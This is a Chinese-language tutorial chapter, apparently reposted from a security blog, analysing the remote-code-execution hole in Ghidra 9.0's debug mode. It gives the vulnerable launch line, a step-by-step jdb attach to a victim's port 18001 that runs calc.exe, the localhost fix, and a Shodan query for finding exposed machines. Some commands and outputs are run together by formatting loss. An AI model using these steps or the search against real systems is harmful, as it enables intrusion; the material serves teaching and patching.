Ghidra RCE 漏洞分析

在本节中,我们将深入探讨在Ghidra 9.0版本中发现的RCE(远程代码执行)漏洞的工作原理。将了解该漏洞是如何被利用的,以及如何修复。


Ghidra RCE 漏洞概述  


该漏洞源于在Windows平台上运行Ghidra时位于`launch.bat`文件中的特定行,在Linux或macOS上运行Ghidra时则位于`launch.sh`文件中的相应行。以下是涉及到的代码行:
-Xrunjdwp:transport=dt_socket,server=y,suspend=${SUSPEND},address=*:${DEBUG_PORT}

在Ghidra 9.0.1的第二个版本中,通过将允许调试器附加到Ghidra的地址从星号(*)替换为localhost来修复了该漏洞。

-Xrunjdwp:transport=dt_socket,server=y,suspend=!SUSPEND!,address=!DEBUG_ADDRESS!-Xrunjdwp:transport=dt_socket,server=y,suspend=!SUSPEND!,address=!DEBUG_ADDRESS!
          这个漏洞虽然显而易见,但也很可能因为同样的原因而未被注意到。


利用Ghidra RCE漏洞


为了利用这个RCE漏洞,我们可以通过在调试模式下执行Ghidra 9.0来设置一个易受攻击的环境。这可以通过执行ghidraDebug.bat文件来完成

C:UsersvirusitoDesktopghidra_9.0_PUBLICsupport>ghidraDebug.bataListening for transport dt_socket at address: 18001

 之后需要检索Ghidra的进程标识符(PID)。其PID是3828,如下所示:

C:Usersvirusito>tasklist /fi "IMAGENAME eq java.exe" /FO LIST | FIND "PID:"PID: 3828

接着使用 netstat 列出与之相关的活动连接:

C:Usersvirusito>netstat -ano | FINDSTR 3828    TCP 127.0.0.1:18001 0.0.0.0:0 LISTENING 3828

如上结果中看到的,已经打开了一个监听连接,为0.0.0.0:0。然后,我们可以从任何地方建立与它的连接。使用以下代码,并将”VICTIM_IP_HERE”替换为受害者的IP地址:

C:Usersvirusito>jdb -connect com.sun.jdi.SocketAttach:port=18001,hostname=VICTIM_IP_HERESet deferred uncaught java.lang.ThrowableInitializing jdb...>

之后寻找一个可运行的类,如果设置了断点,它很快就会遇到断点并断下来:

>classes...javax.swing.RepaintManager$DisplayChangedHandler                javax.swing.RepaintManager$PaintManager                javax.swing.RepaintManager$ProcessingRunnable                javax.swing.RootPaneContainer                javax.swing.ScrollPaneConstants...

当重新绘制窗口时,javax.swing.RepaintManager$ProcessingRunnable将被触发。使用 stop 命令为其添加断点

> stop in javax.swing.RepaintManager$ProcessingRunnable.run()Set breakpoint javax.swing.RepaintManager$ProcessingRunnable.run()

随后断点将被触发:

Breakpoint hit: "thread=AWT-EventQueue-0",javax.swing.RepaintManager$ProcessingRunnable.run(), line=1.871 bci=0

鉴于这种情况,就可以执行任何任意命令。通过 calc.exe 执行计算器,可以将其替换为任何命令注入的payload:

AWT-EventQueue-0[1print new java.lang.Runtime().exec("calc.exe")new java.lang.Runtime().exec("calc.exe") = "Process[pid=9268,exitValue="not exited"]"    
 此时,Windows计算器程序将在计算机上执行。因此攻击成功,且在受害者的机器上创建了一个由PID 9268标识的新进程。


修复 Ghidra RCE 漏洞


为了修复漏洞,将DEBUG_ADDRESS变量设置为127.0.0.1:18001,即可限制了传入的调试连接,就会将其连接到localhost:

if "%DEBUG%"=="y" (  if "%DEBUG_ADDRESS%"=="" (  set DEBUG_ADDRESS=127.0.0.1:18001 ))

也可手动审查给定的Ghidra版本是否容易受到这种攻击。


寻找易受攻击的计算机


Ghidra RCE 漏洞是一个很小但极具危害的漏洞,因为含有该漏洞的计算机可以被直接定位;通过查询 Shodan:

https://www.shodan.io/search?query=port:18001。

即可找到含有漏洞的计算机。

这个漏洞可能不是美国国家安全局(NSA)进入该程序的后门。NSA有自己的零日漏洞来黑客攻击计算机。它不需要在自己的程序中引入后门来让黑客攻击其他计算机。因此在使用调试模式时,请确保使用已修补漏洞的Ghidra版本,使用易受攻击的Ghidra版本存在被黑客攻击的高风险。


总结


在本章中,学习了如何使用GhidraDev插件将Eclipse和Ghidra同步以进行开发和调试。不仅学会了调试脚本的技能,还学会了调试Ghidra源代码行的技能,对其框架的内部实现更加深了了解。   

并且还了解了 Ghidra RCE 漏洞如何实现、如何修补、如何利用。以及分析了为什么该漏洞可能不是 NSA 后门。在下一章中,我们将涵盖Ghidra 用于从源代码中自由扩展的内容。


问题


1.是否可以使用源代码而不是字节码来调试Ghidra的编译版本?

2.是否可以使用除了Eclipse以外的IDE来进行Ghidra调试?

3.是否支持其他IDE?

4.你认为NSA可能正在监视使用Ghidra的用户吗?这其中可能包括后门吗?

              

                  

原文始发于微信公众号(山石网科安全技术研究院):Ghidra RCE 漏洞分析

版权声明:admin 发表于 2024年4月29日 下午2:47。
转载请注明:Ghidra RCE 漏洞分析 | CTF导航

相关文章